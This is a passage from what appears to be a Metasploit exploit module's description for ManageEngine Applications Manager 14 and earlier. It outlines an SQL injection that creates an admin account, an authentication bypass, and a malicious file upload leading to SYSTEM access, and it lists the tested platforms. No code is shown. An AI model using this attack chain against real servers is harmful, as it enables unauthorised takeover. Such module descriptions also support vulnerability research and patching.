      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.
        It is completely different from the previous EDB-ID:46725 exploit.

        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.
        Therefore an unauthenticated user can gain the authority of "system" on the server.
        It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.

        Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)
                Applications Manager 14 on Windows 10 64-bit (MSSQL)
                Applications Manager 14 on Windows 10 64-bit (PostgreSQL)
                Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)
